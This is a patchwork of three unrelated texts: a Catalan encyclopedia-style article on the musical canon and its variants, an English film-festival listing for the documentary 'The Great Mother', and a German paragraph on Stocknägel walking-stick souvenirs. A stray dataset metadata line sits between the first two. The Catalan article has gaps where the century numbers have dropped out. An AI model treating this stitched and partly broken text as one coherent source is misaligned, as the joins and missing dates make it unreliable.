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Un cànon és una composició polifònica que utilitza una tècnica contrapuntística consistent a fer que les diferents veus o parts que van entrant successivament, interpretin la mateixa melodia que la primera veu que ha iniciat la composició o, en alguns tipus més complexos de cànons, una modificació d'aquesta melodia. D'aquesta manera, les diferents parts que integren aquesta polifonia interpreten la mateixa melodia, però començant en moments diferents.

Si bé una part notable dels cànons consideren que la mateixa melodia sona de manera invariable en totes les veus, en diferents moments de la història de la música occidental s'han utilitzat tècniques diverses perquè les veus que començaven successivament interpretessin variants de la melodia principal.

Aquestes variants són, bàsicament, de tres tipus:
 Cànons en què les diferents veus interpreten la mateixa melodia a altures diferents. Segons l'interval que es formi entre la primera nota en la melodia principal i aquesta nota inicial en les rèpliques es parla de "cànon a la 2a", "cànon a la 3a", etc.
 Cànons en què les diferents veus interpreten la mateixa melodia en valors diferents. En essència, es tracta de cànons en què la rèplica o les rèpliques són en valors més llargs ("cànon per augmentació") o més curts ("cànon per disminució"). Aquestes augmentacions o disminucions poden ser de factor 2 o 3, en funció del sistema mètric binari o ternari que adopti la composició.
 Cànons en què la melodia és alterada per algun eix de simetria. En essència, es tracta de "cànons per inversió" si s'altera el sentit ascendent o descendent de cada un dels intervals que configuren la melodia principal; i es tracta de "cànons per retrogradació" si la rèplica interpreta la melodia principal des del final fins al començament: aquest tipus es dona més habitualment.

Durant el Trecento (segle XIV), a Itàlia, la caça era un cànon vocal molt estès.

El període en què es va utilitzar més el cànon com a tècnica compositiva en la música occidental coincideix amb l'època de màxima esplendor del contrapunt, entre els segles  i . En aquest període i fins al , van estar molt de moda els anomenats cànons enigmàtics, en els quals el compositor només mostrava la melodia principal i no donava pistes (i si les donava ho feia de manera enigmàtica, amb endevinalles i altres tècniques) sobre com entraven les altres veus: en quin punt ho feien, si a l'uníson o no, si per retrogradació, inversió, augmentació, disminució, etc.

Referències

Formes musicals
Tècniques musicals

redpajama_set_name: RedPajamaWikipedia


text:
The Great Mother
Lehman Auditorium
Director: Dave LaMattina & Chad Walker
Type: Documentaries
Screening: Mar 2 06:00 PM
When two U.S. born children share that their mother is being deported, immigration activist Nora Sandigo steps up to become their legal guardian, saving them from the fate of "immigration orphans'' trapped in the foster care system. Six years later, Nora's charges have grown to nearly 1,000 children.
Q&A with directors Dave LaMattina and Chad Walker to follow the screening
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Ein Stocknagel ist eine kleine Plakette aus Blech, die man mit ein paar Nägeln an einem Spazierstock oder Wanderstock befestigt und auf der Sehenswürdigkeiten abgebildet sind. Stocknägel dienen als Souvenir und Sammelobjekt.

Häufig kann man Stocknägel an Wanderrouten, wie zum Beispiel in der Sächsischen Schweiz, oder in Souvenirshops erstehen.

Stocknägel sind ursprünglich eine zentraleuropäische/alpine Tradition, und man findet selten Stocknägel in anderen Teilen der Welt. Seit Ende der 1990er-Jahre sind Stocknägel jedoch in größeren Nationalparks und anderen Sehenswürdigkeiten der USA zu finden.

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